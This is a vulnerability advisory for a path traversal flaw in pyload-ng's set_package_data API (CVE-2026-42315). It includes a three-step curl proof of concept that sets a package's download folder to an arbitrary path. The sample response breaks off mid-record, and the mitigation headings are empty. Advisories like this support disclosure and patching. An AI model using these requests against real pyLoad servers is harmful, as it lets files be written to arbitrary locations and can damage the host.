PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data
Date: 2026-05
Affected: pip/pyload-ng
Attack vector: path-traversal
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-42315
CWE: CWE-22
CWE-36
CVSS: 8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)

### Summary No sanitization of package folder name allows writing files anywhere outside the intended download directory. #### Affected Component - `src/pyload/core/api/__init__.py` - Function: `set_package_data()` ### Details When passing a folder name in the `set_package_data()` API function call inside the data object with key `"_folder"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package. ### PoC 1) Create a package, note response package ID e.g. `5` ``` curl -X 'POST' \ 'http://localhost:8000/api/add_package' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "name": "set_package_data_exploit_poc", "links": [ "http://example.com/file.txt" ], "dest": 1 }' ``` 2) Call set_package_data for this package ID with an arbitrary directory ``` curl -X 'POST' \ 'http://localhost:8000/api/set_package_data' \ -H 'accept: */*' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "package_id": 5, "data": { "_folder": "/users/root/" } }' ``` 3) New download folder will be set without any checks ``` curl -X 'GET' \ 'http://localhost:8000/api/get_queue' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' ``` Response: ``` [ { "pid": 5, "name": "set_package_data_exploit_poc", "folder": "/users/root/", "site": "", "password": "",


Mitigations:

Architectural layers (MAESTRO):